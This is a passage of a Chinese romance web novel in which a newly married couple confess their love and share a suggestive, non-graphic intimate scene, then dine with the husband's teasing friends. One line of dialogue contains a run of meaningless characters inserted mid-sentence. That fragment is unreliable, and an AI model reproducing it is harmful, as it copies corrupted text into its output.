就像一个不定时的炸弹,不知什么时候就会爆炸。 黎晚棠眼睫轻颤了颤,随后从枕头下面拿出一个方形盒子。 傅砚深低头,看起来像是饰品盒。 就在他疑惑时,黎晚棠将盒子打开,从里面拿出一串晶面光泽的珠子,灯光下,呈现出淡淡的紫红色。 黎晚棠取出手串,仰头看着他:“这也是我今天买的,还特意去崇山找大师开过光,这串珠子叫紫乌牙,具有治病救人的神奇功效。” “而且它还能通过身体刺激穴位改善人的气血,更象征着守护和能量。” 傅砚深眼眸忽深,某些情绪在心里蔓延。 “傅砚深,我不信命的,我只信事在人为。” 黎晚棠低头把那串珠子戴到他左手上,而后与他十指紧扣:“我不怕,而且也会像这串珠子一样,一直守护在你身边。” 她原本是想找一个合适及浪漫的地方,跟他表明自己的心意,但当下这一刻,她忽然觉得也挺合适的。 黎晚棠微抿了下唇,像是有些不好意思,但她还是鼓足勇气看着他:“或许我给不了你全世界,但我的世界可以全部给你。” 傅砚深眸光微敛,心底翻涌的情绪越发强烈。 握住她的手也不自觉地收紧。 黎晚棠直直地望着,一点点弯起唇角:“要不我们赌赌,好运会一直眷顾着你们,包括我们以后的孩子。” 一直在体内翻滚的情绪瞬间崩塌,傅砚深无法克制地拽住她的手,把人用力压入怀里,低头静静感受这一刻的真实。 原来她说的尚早,不是不愿意生孩子,而是想陪他一起赌。 赌上天也是眷顾他的。 眷顾他如愿以偿,眷顾他可以拥有她的全部。 包括那颗他盼望已久的心。 黎晚棠毫无防备地撞入男人怀里,脑袋还有些懵懵的,第一次告白,得到的竟是这样的回应。 但从他强有力的心跳声,她得到了最好的答案。 就在这时,原本抱着他的男人忽而退开,她本能地抬头,下巴却被他那只大手捏住。 在她还没反应过来,傅砚深急切而又热烈的吻落了下来,强势衔住她的唇。 这次没有辗转缠绵,而是长驱直入,直接勾住她的舌,与她共舞。 只是在他覆下来的那一瞬,唇边伴随着一句:“只要对方是你,我愿意。” 所有的声音全部被隔绝在外,静谧无声的卧室,男人这句话清晰入耳。 ——只要对方是你,我愿意。 黎晚棠那颗心骤然跳动着,这无疑是她今晚听到最动听的答案。 十指相扣的指尖不知何时松开,圈住她腰间的大掌力度越来越紧,仿佛要将她融入血骨。 唇上游离的动作也不像以往那般温柔,男人放开她的舌,转而舔吮她的唇。 像狂卷的疾风,缠绵而又厮磨,猛烈又粗暴。 黎晚棠呼吸急促,眼角逐渐被他亲得漫上水雾,现在他的每一个吻,都能轻而易举点燃她的末梢神经。 骨头酥软,身体如过电一般,阵阵发麻。 就在她难以呼吸时,傅砚深放过她的唇,给予新的空气,可下一秒,灼热的吻再度袭来。 这次目标不是她的唇,而是鼻尖,下巴,最后一口咬在她微微凸起的锁骨上。 黎晚棠猛地昂起下巴,纤细的脖颈在侧影里划出好看的弧度,接着整个人跟着颤抖起来,嘴角无意识溢出一丝轻浅的低吟。 两人的姿势不知何时,发生了变化,她后背紧贴在柔软的大床上。 滚烫的吻还在继续,像是通往一条全新的道路,一路都是他们没见过的新奇,不仅是景色还是触感,都有着致命的吸引力。 黎晚棠轻咬着唇瓣不出声,整张脸红得像苹果,只能软软地陷进一旁的枕头里。 她闭上眼,完全沉浸在这种热烈的缠绵之中。 就当她以为今晚会水到渠成时,身上的湿热突然撤离。 黎晚棠愣了片刻,忽而睁开眼睛,感觉如同上次那样,她有些不解地看着他。 此刻的傅砚深眼底眸色暗沉,眼尾染上散不掉的绯色。 “又……不想继续了吗?”黎晚棠眼底的茫然明显。 傅砚深轻叹了口气,侧身躺了下来,大手将人捞进怀里,紧紧抱住,声音带着余韵后的喘息:“想,可家里没准备。” 准备什么? 黎晚棠愣了片刻,一下子明白过来,他指的是准备小雨伞。 片刻后,她忽而被这话气笑,语气里还带着几分埋怨:“这种东西,你干嘛不提前准备好。” 傅砚深偏头去嗅她身上的味道,无奈勾唇:“我真要准备了,你会不会认为我是蓄谋已久。” 黎晚棠把脸埋进他胸膛,闭眼笑道:“不会,其实是我馋你的身子很久了。” “……” 傅砚深眉梢微挑,以为自己听错了,低头去看怀里的里:“黎晚棠,你刚刚说了什么?” “哎呀,什么也没说。”黎晚棠羞涩闭嘴。 傅砚深无声笑了下,试图去看怀里的人,可她的头却越埋越深:“馋我身子很久了?” “……” “你这个想法,是从什么时候开始的?” “……” “既然那么馋,给你解馋行不行?” 听到这句,黎晚棠忽而从他怀里抬头:“真的?” 傅砚深勾唇失笑,低头去亲她的嘴角,暗哑的声音带着几分诱惑。 “所以,你打算从哪里开始下手?” 第38章 这种虎狼之词,黎晚棠是万万没想到,如今会从严谨刻板的傅砚深嘴里说出口。 卧室灯光本就柔和,光线从头顶斜斜地洒下,将男人眼底那抹深邃的幽光点亮。 似蛰伏在黑暗中的大灰狼,正在低声引诱,她这只蠢蠢欲动的小白兔。 而她这只小白兔还乐在其中,主动投喂狼口。 黎晚棠抬起头,目光落在男人凸起的喉结上,轮廓清晰而锋利,吞咽时,颈间的线条会倏地收紧,这一刻性感得要命。 她忽而转过身,仰头对准他的脖子咬了上去:“这里好像不错。” 傅砚深微僵的身体给足她往下的勇气,黎晚棠无声勾唇,又试探性轻轻吮舔了一下。 这时,圈住她腰间的大手忽地收紧,男人喉结极其明显的滚动起来,沙哑的声音凑到她耳边,带着克制与警告:“确定要从这里开始,不后悔?” “是你让我选的,难道还有禁区?” 黎晚棠微屏着呼吸,纤细葱白的指尖还从他脖颈若有似无地划过:“换个地方也行。” 傅砚深眸色晦暗地看着她,扣住她的细腰紧紧贴向自己,此时呼吸越发紊乱。 黎晚棠笑着收回指尖,单手撑在他胸膛上,用力与他分开些许距离,在他直勾勾的注视下,她抓住他的衣领,低头蓦地咬在他坚硬的锁骨之上。 傅砚深闷哼一声,脖颈青筋爆起。 黎晚棠学他刚才的样子,一点点吮吸,最后直接张嘴轻咬。 酥酥麻麻的触感从锁骨处蔓延,像无数只蚂蚁爬过,傅砚深呼吸变粗,全身紧绷起来。 脖颈暴起的青筋充满血气,似是克制到了极致。 而锁骨上的轻咬还在继续,傅砚深眸色暗如墨,再也按捺不住,扣住黎晚棠的那只手骤然用力,天旋地转间,两人位置发生了变化。 傅砚深将她压在身下,用膝盖抵住她的腿:“还有馋的地方吗?” 亲吻时,他鼻梁上的眼镜早已坠落,此刻俯身直勾勾盯着她,黎晚棠对上他布满欲色的眸子,瞬间犯怂。 呃,好像玩大了。 黎晚棠扯唇轻笑,伸出指尖去拽傅砚深的衣角:“……不馋了,要不我们睡觉吧。” 逆着光,傅砚深俯身看着她没说话,只是握住她的手,贴在他滚烫的腹肌上:“这里,你好像没碰过。” 黎晚棠咽了咽口水,心脏剧烈地跳动起来,块状分明的腹肌就下她掌心下,结实有力,线条明显,手感超级好。 她中肯地评价:“还不错,看来你每天的运动没有白练。” 傅砚深盯着她嘴角显露的梨涡:“喜欢?” 黎晚棠忙不迭点头:“当然,你身材好,我吃得也好。” “吃?” 傅砚深微微蹙眉:“你管这个叫吃。” “……” 一时口嗨,暴露了。 傅砚深见她不说话,身体稍稍往下压,当他们鼻尖与鼻尖相抵,他偏头在她唇上亲了亲:“所以,我去商场找你买订婚戒指那次,你和朋友说的吃,并非糖果。” 他顿了下,黑眸紧盯着她:“而是我。” “不、不是,说的确实是糖果,我爱吃糖你是知道的。” 黎晚棠尾音轻颤着,明显语气不足。 傅砚深挑眉:“确定?” 黎晚棠呵呵两声,知道糊弄不了他,扯唇笑道:“不过也可以形容,某些方面。” 说着,她贴在他腹肌上的五指,轻轻捏了两下:“比如这个。” 傅砚深眸光忽暗,再也克制不住地低头吻上她的唇,吃掉她所有溢出的笑声:“原来如此,那我今晚让你尝尝甜头。” 还有甜头尝? 很快,黎晚棠就被他亲得缺氧,不明白他所谓的甜头指的是什么,刚开始以为是这个灼热的吻,直到她迷离的眸子逐渐冒出水雾。 她手指穿过他的头发,控制不住地轻扯着,几滴生理性泪水从眼眶缓缓流出。 浮浮沉沉,整个人像乘坐孤舟飘荡在深海之中。 浪大时,莹白的指尖被她难耐地咬在唇间,她才明白这种甜头,原来是水做的。 事后,她蜷缩着身子背对着傅砚深,根本不好意思多看他一眼。 这会儿虽然看不见,耳朵却异常灵敏,能清晰听到他抽纸巾的声音。 就算不回头,黎晚棠也能想象这一刻,傅砚深正低头认真擦拭每一根手指。 知道他在干嘛,她淡下去的红晕再次爬上脸颊,羞赧地扯过被子把脸埋了起来。 直到屋内响起的脚步声越来越远,最后消失在浴室。 黎晚棠立马扯下被子,仰头大口大口呼吸着。 莫名地,脑中又回想前不久发生的事情,或许是缺水严重,这会儿又口干舌燥起来。 今晚的傅砚深,再次刷新她的认知。 原来他私下……竟然放得那么开,她好几次都憋出眼泪,最后被他轻哄着吻入腹中。 “需要我抱你去浴室吗?” 突如其来的声音吓黎晚棠一跳,她猛然回头,对上傅砚深那双黑眸时,又羞涩地收了回来:“……不用,我自己可以。” 说着,黎晚棠急忙掀开被子下床,低垂着头不敢看他,迈着小碎步跑进浴室。 雾气弥漫,一股热气直接朝她扑面而来。 扭头才发现,浴室里满满一浴缸水,正袅袅炊烟冒着热气,看来傅砚深是想让她泡澡解乏。 黎晚棠一步步走了过去,弯腰伸出指尖触碰了碰水面,温度正好。 直起身时,唇角不自觉地弯了起来。 泡完澡出来,傅砚深还靠在床头看书,床单应该是他重新换过了,不是刚才的浅灰色。 黎晚棠扭扭捏捏地走了过去,掀开被子躺下:“关灯吧。” 只有这样,她才好意思去看他。 傅砚深知道女孩在别扭什么,关灯躺下后,伸手很自然地将她抱在怀里:“我们刚才做的事,所有合法夫妻都会做,你不用觉得害羞。” “别说了。” 黎晚棠把脸埋进他胸膛,他真是什么话都能一本正经说出口,直白得能羞死人。 傅砚深笑着抱紧她,下巴抵在她发顶:“难道刚才不舒服?” “傅砚深,你再说一句,今晚就睡沙发!” 这人还要不要脸了,这种话怎么好意思问,他没有任何不适,她反倒心脏狂跳。 傅砚深忍着笑意乖乖闭嘴,不敢再逗她。 安静下来后,黑暗中只有清浅的呼吸声。 许久,黎晚棠抬起头看他,支支吾吾道:“你呢,这样憋着会不会很难受?” 他刚才如箭在弦,憋得也不好受,最后只能亲她缓解。 叶知薇说过,男人那方面其实不能憋,会坏。 以前她不会懂,现在好像有点懂了。 傅砚深垂眸,问:“你打算帮我?” “……” 黎晚棠秒回神,羞赧地闭上眼睛:“才不是!” 片刻,她轻声安慰:“睡吧,睡着了就好了。” 这种事她真不行,脸皮厚不过傅砚深- 次日,黎晚棠刚走进排练厅,林薇靠在一旁,偏头笑道:“不错,休息一夜,精神焕发。” “……” 黎晚棠想到昨晚的事,脸上闪过不自然地羞涩。 她可不是休息好才这样的,是被爱情给滋润了。 但这话她不敢说。 状态不一样,排练的效果也非常好,这个月底就要出国了,没剩下几天,她参赛的这支舞蹈,也不断地在优化。 今天团长跟她说,可以在微博官宣一下这次国际比赛,也算是预热,让粉丝们知道她的动态。 黎晚棠也觉得行,现在网络传播的速度快,算是一种很好的宣传方式。 趁着午休时间,黎晚棠编辑好文案,并艾特RD国际舞蹈比赛的官方账号,发表内容。 短短几分钟,就收获一千赞,评论瞬间过百。 多数都是关注她的粉丝,期待她比赛的网友还不少。 黎晚棠点开评论,一条条翻看,嘴角浅浅上扬。 【姐姐真棒,RD的比赛一般舞者还去不了。】 【要是能网上投票,姐姐我肯定投你!】 【晚棠你太优秀了,都闯进国际舞蹈比赛了,加油,期待你的荣耀而归。】 【大美女加油,我们大家都支持!】 看完这些,黎晚棠心里暖暖的,原来身后有这样一群人默默支持着,真的很有动力。 所以下午的排练她更加努力用心,练好每一个舞步。 想用更优秀的作品,来回馈大家的喜爱。 下班前,黎晚棠却意外收到傅望舒发来的微信。 从她出国上大学,她们联系就逐渐变少,加上都有了自己的朋友圈,平时也只是过年过节问候一下。 但这并不影响她们之间的友谊。 不过到目前为止,她和傅砚深领证的事,傅望舒都还不知道,听她婆婆说,她好像去什么荒岛学习求生技能,没信号,一直联系不上她。 所以这会儿看到她的信息,黎晚棠还蛮惊讶的。 傅望舒:【晚棠姐,我今天下午刚回市区,就刷到你的微博了,你是要来摩纳哥参加RD国际舞蹈比赛吗,啊啊啊,我现在就在这边上大学,我们可以相聚了!】 【都快半年没见了,我想死你了!】 隔着屏幕都能感受到她的兴奋,黎晚棠弯唇回复:【是呢,这个月底就出发,会在那边参加完这次比赛。】 傅望舒:【好呀!到时候我去现场帮你加油!】 【晚棠姐,那我在摩纳哥等你呦!】 黎晚棠笑着回复一个好,跟她哥领证的事,她想了想,还是到了摩纳哥当面跟她说好点。 就是不知道她得知后是惊喜,还是惊吓。 从洗澡房出来,换上自己的私服,拿过手机看了眼,傅砚深已经到舞团门口了。 黎晚棠急忙穿上外套,拿着背包就往外跑,两分钟不到,透过玻璃就看见站在花坛旁的傅砚深。 听到脚步声回头,女孩已经小跑到他面前,他下意识去拿她肩上的背包,轻声叮嘱:“慢点,以后别跑那么快。” “怕你等着急嘛。” 黎晚棠顺势把背包递给他,仰头笑道:“再就是,我也舍不得让你久等。” 对于这种甜言蜜语的话她张嘴就来,若换作某方面的,她会不好意思,更放不开。 忽然发现,他们俩在这方面恰恰相反,傅砚深嘴笨,但有些话说得却极其大胆。 “没关系,其实等你也是一种幸福。” 傅砚深大掌牵过她的手,转身就要往停车场走,却发现身旁人半天才挪动一步。 他偏头刚要询问,就见女孩直勾勾看着自己。 傅砚深索性停下脚步,侧身看着她:“怎么了?” 黎晚棠抿了抿唇,拧眉上下打量着他,疑惑问:“一天没见,你是不是偷偷上网学习了?” “学什么?”他不解。 “情话大全呀,不然像这种话,你以前是不会说的。” 前一秒还吐槽这人嘴笨,下一秒就蹦出这么一句情话,还怪暖心的。 傅砚深失笑:“这就叫情话,我只是实话实说而已。” 真诚是感动的必杀技,这句话果然没错。 黎晚棠听完后,垂睫笑了起来:“哦,那不好意思,原来是我打破了你的幸福。” “也不对,有你才叫幸福。” 傅砚深垂睫,晃了晃牵着她的手:“你看,幸福已经被我握在手里了。” 啊啊啊啊! 下次谁要说他嘴笨,她第一个不答应。 这一路,黎晚棠嘴角一直上扬着,上车刚坐好,傅砚深就俯身靠了过来。 熟悉的气息骤然靠近,她没由来地动了动唇角,后背贴着椅背没动。 猜到他想干嘛,她呼吸微屏,似乎在等他慢慢靠近。 刚上车就要吻,虽然急了点,但也不是不能接受。 只是当他温热的气息从眼前划过,接着传来安全带的轻扯声,黎晚棠眼睛忽而睁大,内心却在咆哮。 原来不是要亲她! 而是想帮她系安全带! 万幸,她没有提前闭上眼,不然会窘迫死! 傅砚深系好安全带起身时,余光扫过她脸上表情,就着这个姿势盯着她看了一会儿,忽而出声:“以为我誻膤團對獨鎵是要亲你?” “……” 黎晚棠骤然回神,与他对视两秒后,忙低头去拿手机,故意装傻:“没有,怎么会。” 傅砚深没着急起身,眉眼含笑地看着她,直到瞧见她逐渐变红的耳朵,轻轻勾唇:“其实你没想错,我是要亲你。” 话落,他直接捏住她的下巴往上抬,偏头吻了上去。 浅吻了几下,没加深,想到是在车里不方便。 稍稍退开后,傅砚深盯着女孩粉嫩的唇瓣,哑声道:“还想亲,回家再满足你。” 黎晚棠舔了舔唇,轻眨眼反驳:“……我又没有这个意思。” 傅砚深松开她下巴时,没忍住捏了捏她泛红的脸颊:“嗯,我有。” “……” 或许是因为他这句话,这一路都很安静,像是心照不宣,又像是隐隐期待着什么。 从电梯出来,黎晚棠缓步跟在他身后,等他输入密码。 房门滴一声打开,她那颗心也跟着颤了下。 推开房门,傅砚深侧身让她先走。 黎晚棠抬头瞥他一眼,快步走了进去,一直走到玄关都没发生点什么。 她低头换鞋时,轻舒了口气,或许是她想多了,他只是随口说说而已。 就在她转身时,身后突然伸出一只大手勾住她的腰,男人只稍稍用力,她整个人就被翻了过去。 黎晚棠下意识仰头,傅砚深的唇就此压了下来:“不用怀疑,我说过的话,从来都是说到做到。” 铺天盖地的吻落下,黎晚棠那颗砰砰直跳心被他急切的行动点燃,她只愣了一秒,而后踮起脚尖,环住他的脖子热情回应。 感受到女孩的热情,傅砚深圈住她腰间的手瞬间收紧,一个转身,直接将她压在鞋柜门上,低头含住她的唇。 这里不是在车上,他不需再有所顾忌,取下鼻梁上的眼镜,唇上动作变得越发肆无忌惮。 两人现在属于心意相通,他以前的隐忍和克制早已丢失,现在只觉得不够,还想拥有更多。 他偏头吮舔她的唇,待她张嘴的那一瞬,长驱直入,舌尖勾住她的舌疯狂纠缠。 热恋中的男女总有使不完的激。情,黎晚棠沉迷且享受在其中,什么都不想去思考,闭眼只想感受这一刻的快乐。 知道傅砚深取下眼镜,在这方面会有着强烈的变化,可每一次,她都能被他吻得无法自拔,全身瘫软。 就当她站不住时,腰间忽紧,傅砚深直接把她抱坐在玄关柜上。 两人的视线瞬间变成了平视,她不需要仰头,身体稍稍往前倾,再次吻上他的唇。 傅砚深双手扶住她的腰,深情回应。 粗喘的呼吸声在耳边放大,温度也在逐渐升高。 不知吻了多久,傅砚深直接将人抱起在腰上,转身往卧室走。 身体悬空,黎晚棠双腿下意识夹住他精瘦的腰,勾住她脖子的手忽然收紧。 两人边吻边走,呼吸紊乱,衣衫更乱。 就在这时,一道清脆的手机铃声响彻整个客厅。 黎晚棠猛然惊醒,急忙拍他的肩膀,让他松开:“傅砚……唔……你电话响了,先接电话。” 一句话说得断断续续,好半晌,才被他松开唇瓣。 她偏头懒懒地搭在傅砚深肩上,张嘴大口呼吸着,像一条急需缺氧的鱼。 傅砚深眸色暗如墨,极其不愿意松开她,侧头去看了眼,此刻还在孜孜不倦响个不停的手机。 黎晚棠从他身上下来,害羞地舔了舔微肿的唇瓣:“快去接吧,万一是重要的电话呢。” 不知道对方是谁,但这铃声真够执着的。 傅砚深咽了咽喉,黑眸沉沉地看了她几眼,转身时用力拽了拽脖子上的领带,迈着沉重步伐走回玄关。 看到是程晏川打来的电话,他抬手捏了捏眉心,冷声道:“有事?” 听到傅砚深这副语气,程晏川微挑了眉,掀眸瞥了眼在场的其他两位,轻笑道:“怎么,我打扰你的好事了?” 就算平时打扰到他的工作,傅砚深的声音依旧平稳,不像现在,沉冷中带着几分不悦。 “有事快说?” 傅砚深低头看了眼某处明显的位置,不想跟他废话。 程晏川轻笑一声,知道自己把人惹毛了,坏了他的好事:“我们都在懿府呢,带嫂子出来聚聚。” 本来是想单独叫他,但如果没有黎晚棠,估计这人不会出来。 在他拒绝时,程晏川忙补充:“上次你欠我的人情,这次就当还了。” “……” 不怪裴竞洲吐槽,这帮人里,心眼多的就是程晏川。 傅砚深沉默了会儿:“我先问问她,晚点给你回复。” 挂断电话转身,黎晚棠正在水吧台喝水,见他走过来,忙问:“是工作上的事吗?” “不是,程晏川叫我们出去吃饭,要去吗?” 傅砚深走上前,顺势接过她手里的杯子,仰头喝掉她剩余的水。 黎晚棠盯着他的动作,错愕地睁大眼睛。 不、不是! 傅砚深竟然喝她剩下的水? 傅砚深放下杯子,余光瞥见她脸上的愕然,平静问:“见我喝你的水很奇怪?” 黎晚棠扯唇:“对呀,你不是有洁癖吗?” “按我们接吻的次数计算,你的口水我都不知道吃了多少。” 似乎还不解渴,傅砚深转身又接了一杯:“现在去计较洁癖,会显得我很矫情。” 听他前面那句黎晚棠还有点不好意思,可后面这句,没忍住笑了:“嗯,你确实不矫情。” 傅砚深喝完杯里的水,又问:“去吗?” 黎晚棠笑意微敛,沉默了会儿,问:“那边在场的,都是你的朋友?” “嗯,很好的兄弟。” 傅砚深以为她不愿意见他们,开口:“你要是不想去——” “想去。” 黎晚棠忙打断他的话,笑道:“不过我要换套衣服,再化个妆,你需要等我一会儿。” 傅砚深皱眉:“见他们不用打扮那么好看。” 黎晚棠失笑:“不行,第一次正式见你朋友,我需要美美的。” 说完,她快步进了卧室。 傅砚深看着她转身的背影,嘴角浅浅上扬。 她在意这些,证明对他很重视。 他拿着手机转身,去阳台给程晏川回电话。 等他们收拾好出发,抵达会所,正好八点。 即将推门时,黎晚棠深吸一口气,嘴角立马扬起一抹灿烂的微笑。 傅砚深见状,嘴角不自觉弯了弯,这一幕,却恰好被拉开房门的裴竞洲撞见。 他盯着傅砚深嘴角那抹笑,惊悚地回头喊了句:“老程,你们赶紧过来看看,老傅既然会笑耶!” 听到熟悉的声音,黎晚棠猛然抬头,当看到裴竞洲时,脸上笑容僵住,不过很快就恢复正常。 来之前猜到裴竞洲会在,但这么直面撞上,他还在门口吆喝着看傅砚深嘴角的笑意,画面跟她想的有点不一样。 裴竞洲见包厢里的两人似笑非笑地看着他,还并未起身,他也察觉自己刚刚的反应有点大。 回头时,他弯唇冲两人讪讪一笑:“老傅,你们来了。” 说着,他目光不由自主地落在黎晚棠身上。 女孩一身黑色丝绒长裙,长袖及腕,裙摆及踝,雪白的皮肤在布料的映衬下,白得惊心。 就算这么久没见,她还是那么漂亮。 察觉裴竞洲打量的目光,傅砚深轻拧了下眉,微微侧身挡在黎晚棠面前,没什么温度地问:“怎么,还不死心?” 第39章 这么大口一锅砸下来,裴竞洲脸色瞬间惨白。 他现在不仅没有那个雄心,也没有那个豹胆,黎晚棠就算是天仙下凡,世间尤物,他也不敢对她抱有一丝幻想。 为表决心,裴竞洲立马竖起两根手指发誓:“老傅,我现在对天发誓,绝对没有任何想法!” 说着,他忙不迭与他们拉开距离,避嫌的意思很明显。 黎晚棠原本还有些放不放的笑容,瞬间舒展,余光扫了眼神情认真的傅砚深,轻拽了拽他衣摆:“我们先进去吧,你朋友还在等着呢。” 裴竞洲听到这话,笑着附和:“对对对,就等你们了。” 傅砚深目光幽深从裴竞洲脸上移开,顺势牵过黎晚棠的手,掠过他走了进去。 只是他们插肩而过时,黎晚棠低声跟裴竞洲打招呼:“好久不见,裴先生。” 声音不大,站她旁边的傅砚深却听得清清楚楚,他下意识捏了捏她指尖,以示警告。 黎晚棠压着笑意,事情都过去那么久了,没想到这人还记着,醋意还那么大。 亲兄弟都看不顺眼。 周叙白见两人走近,立马笑着起身:“嫂子好,我叫周叙白,是砚深最好的兄弟。” 黎晚棠弯唇刚要开口,从后面跟上来的裴竞洲轻嗤道:“老白,你要点脸好吧,今天在座,那个不是老傅的亲兄弟,凭什么你最好。” 周叙白挑眉一笑:“凭老傅愿意搭理我。” “……” 裴竞洲瞬间被他这话噎住,最后咬牙来一句:“搭理你也没用,老程跟老傅还是高中同学呢,就凭他们这感情,你算个屁!” 黎晚棠用力憋着笑,确实没想到傅砚深的这帮兄弟私下相处竟是这个样子,性格活泼,说话风趣,比傅砚深有趣多了。 疑惑的是,他们截然不同的人,怎么会成为兄弟的。 傅砚深懒得看他们,似乎已经习惯他们俩见面就拌嘴,幼稚得不行。 牵着黎晚棠落坐时,他偏头说了句:“我从来不跟他们这样。” 意思是说他人前人后都一样,没有这么幼稚的一面。 原本还要争论的两人,同时扭头去看傅砚深,顿时被他这话气笑。 似乎都没想到,他结个婚嘴脸变得这么快。 全程没说话的程晏川也轻扯了下嘴角,抬头去看黎晚棠:“上次见面匆忙,没来得及自我介绍。” 说着,他瞥了眼傅砚深,笑着朝黎晚棠伸手:“我叫程晏川,跟砚深是从小玩大的兄弟。” “……” 周叙白与裴竞洲对视一眼,眼底意思明显:看吧,要说谁不要脸,还得是他程晏川。 “我认识你,以前在高中门口见过一次,而且上次我闺蜜采访的事,也得跟你说声谢谢。” 黎晚棠也笑着伸出手,只是两人的手还没握上,傅砚深就往她掌心里塞了一杯温茶。 他慢条斯理,还一本正经:“来的时候不说渴了吗,快喝吧。” “……” 黎晚棠表情微愣,随即明白什么,握着茶杯垂下头,嘴角止不住地往上扬。 以前怎么没发现,傅砚深醋意那么大,连自己兄弟的醋都要吃。 程晏川意料之中地收回手,就知道这人会这样,毕竟守了这么多年的宝贝成自己的了,见谁都防。 他没说话,只弯唇朝他挑了下眉。 周叙白跟裴竞洲对视一眼,这下心里平衡了。 似乎除了黎晚棠,傅砚深现在是看他们三个都不顺眼。 毕竟前不久,才打扰了他的好事。 人到齐后,提前点的菜一一被服务员端桌。 傅砚深也不等他们,率先拿起公筷,给黎晚棠盘里夹菜:“吃吧,不用客气,就跟在家一样。” 黎晚棠盯着碗里的菜,又抬头去看已经停止聊天,正齐刷刷扭头看来的三位,尴尬扯唇:“没事,等大家一起,我不着急。” 这些人好歹是他兄弟,他就不能收敛点。 非要做得那么明显。 这不是明摆着秀恩爱嘛。 周叙白眼尖瞧见傅砚深手腕上的紫色珠子,笑着调侃:“呦,老傅,你啥时候喜欢戴这些东西了,这串珠子看起来像女孩子戴的吧,你品味够独特的。” 闻言,其他几人都目光都落在他左手上。 下一秒,裴竞洲也笑了起来:“老白,你不说我还真没注意,老傅戴这玩意看着是挺娘们叽叽的。” 黎晚棠也顺势偏头,腕骨突出那只手臂上,一串紫红色的珠子格外明显,当初送他的时候只想着对身体好,没注意太多。 现在被他们这么说,好像是不太合适男生戴。 主要是颜色太女性化。 傅砚深却不以为然,低头看了眼,又抬头去看他们,语气中颇有几分炫耀的意味:“我老婆送的,你们有吗?” “……” 程晏川没想到叫他出来吃顿饭,结果会是这样。 另外两人直接无语,以前怎么没发现傅砚深这么狗。 简直是狗东西! 如果不是认识他那么多年,真以为面前的人是冒充的。 今晚这顿饭,他们吃得心情复杂,要说没吃多少,却已经撑到了。 全程都在看傅砚深怎么照顾她媳妇,多次打破他们对他的认知。 好不容易等傅砚深出去接电话,周叙白急忙开口:“嫂子,你赶紧说说吧,你到底是怎么把老傅这块硬石板收服的,现在能变成这副模样?” 黎晚棠愣了片刻,而后弯唇笑了起来:“……我好像也没做什么,他一直都是这样,不用特意去收服” 这点她确实不清楚,两人住在一起后就慢慢习惯了他对自己的照顾,其实她认为傅砚深也没什么变化。 要说变化,这几天倒是明显了点。 但那方面的变化,不合适与他们分享。 相对于周叙白的好奇,程晏川低头不语,这其中的原因估计也是有他知道。 裴竞洲靠着椅背微皱着眉,也觉得奇怪,当初他跟黎晚棠相亲,傅砚深看似冷静,私下反应还挺大的。 要不然,不要他去联系黎晚棠的态度能如此坚决。 后来还以为是他们有娃娃亲的缘故,他才会那样,可今天看来,事情又并非如此。 傅砚深不是一个轻易展露内心情感的人,加上性格内敛,很多时候他们都看不透他。 除非,他早就对黎晚棠有这方面的心思,变化才会那么大。 裴竞洲越想越有可能,接着恍然大悟,察觉自己发现了什么不得了的秘密。 兀自消化了会儿,他笑着端起茶杯,诚恳道:“嫂子,我当初真不知道你跟老傅有娃娃亲,不然就不会答应你的相亲了。” 裴竞洲以茶代酒:“现在见你们如此恩爱幸福,我在这里祝你跟老傅白头偕老,爱情永驻心间。” 黎晚棠也觉得当初相亲的事挺尴尬,现在他能主动提及,她笑着拿起茶杯:“谢谢,我那个时候也不知道你是他兄弟。” 话题聊开,裴竞洲越来愈欢,最后玩笑道:“嫂子你是不知道,当初老傅看我就跟看情敌似的,大半个月都没搭理我。” 黎晚棠眉眼带笑地听着裴竞洲吐槽傅砚深,可听到后面,她越听越疑惑。 那时候她和傅砚深还没领证呢,两家的亲事成不成也还是个未知数。 所以,他怎么会把裴竞洲代入成情敌呢? 黎晚棠笑着解释:“应该不是,他那时候其实对我也挺排斥的。” 他们见面那次,她稍微碰到他一点,脸上表情嫌弃极了。 裴竞洲根本不信,下意识开口:“不可能,老傅以前什么德行我清楚,他对待喜欢的人—— 正在这时,傅砚深拿着手机走了进来,裴竞洲余光瞥见他的出现,瞬间闭嘴。 黎晚棠没在意裴竞洲那句未说完的话,目光已经被推门进来的傅砚深吸引。 他走向前询问:“吃饱了吗?” 黎晚棠点头:“嗯,都快吃撑了。” 听她这么说,傅砚深朝她伸出手的同时,扭头去看其他三位:“还有点事,我们就先回去了。” 看透他本质后,三人没挽留,笑着目送他们离开。 只是房门刚关上,周叙白满脸八卦地去问裴竞洲:“老裴,你刚才那话是什么意思?难道老傅早就对人家小姑娘动心思了?” 裴竞洲挑眉:“你们想想,就老傅的原则我们最清楚吧,他现在突然就跟人闪婚,还是家里安排的娃娃亲,如果没点想法,他能干。” 周叙白客观道:“嫂子长得挺好看的,身材比例也好,没准老傅是一眼动情。” 裴竞洲不信傅砚深是那种肤浅的人,在国外主动搭讪他的美女长什么样的没有,可他一个也看不上。 他偏头去问半天不说话的程晏川:“老程,你来分析分析,老傅是不是早就喜欢黎晚棠了。” 程晏川低头喝了口茶,薄唇轻勾,:“我经验没你丰富,看不透。” “……” 裴竞洲被他这话刺伤:“不是老程,你这是拐着弯骂我渣呢。” 程晏川低头笑了下没说话,弯腰放下茶杯时却在想。 傅砚深,你埋藏多年的秘密好像快要保不住- 出包厢的黎晚棠并不知道他们这番激烈的言论。 此时两人手牵手漫步在街头,头顶的月亮格外圆。 微风拂过,她抬手捋了捋吹乱的长发,嘴角始终浅浅上扬着。 见过他的朋友后,感觉一下子拉近两人的距离,以前他身旁有朋友,但往后多了一个她。 他们就这样手牵着手,安静地走着,跟路上其他情侣那样,就算什么都不说,心里也是甜滋滋的。 黎晚棠突然懂了他之前说的那句。 身旁有他,才叫幸福。 她忽然握紧傅砚深的手,像怕他从她身边溜走一样,牢牢牵住。 傅砚深低头看了眼两人紧握住的手,眉眼间溢出笑意,只是一抬头,就见女孩望着不远处,正看得出神。 他顺势偏头,原来是一对情侣正在大树下亲吻,周边是来往的行人和车辆,但他们无所畏惧,只沉浸在自己的世界里。 “你也想这样?” 黎晚棠忽而抬头,明白他的意思后,红着脸道:“不是,就觉得他们好大胆。” 她只是在想,她应该做不到他们这般旁若无人地接吻。 还是在人来人往的大街上。 傅砚深习以为常:“国外见多了,有人表达爱意的方式比较直接。” 黎晚棠牵着他继续往前走,笑着点头:“嗯,我们俩都属于比较内敛的人,表达爱的方式是比较含蓄。” 目前为止,他们彼此都没提到“爱”或者“喜欢”这个字眼。 傅砚深若有所思看了她几秒,垂下眼睫没说话。 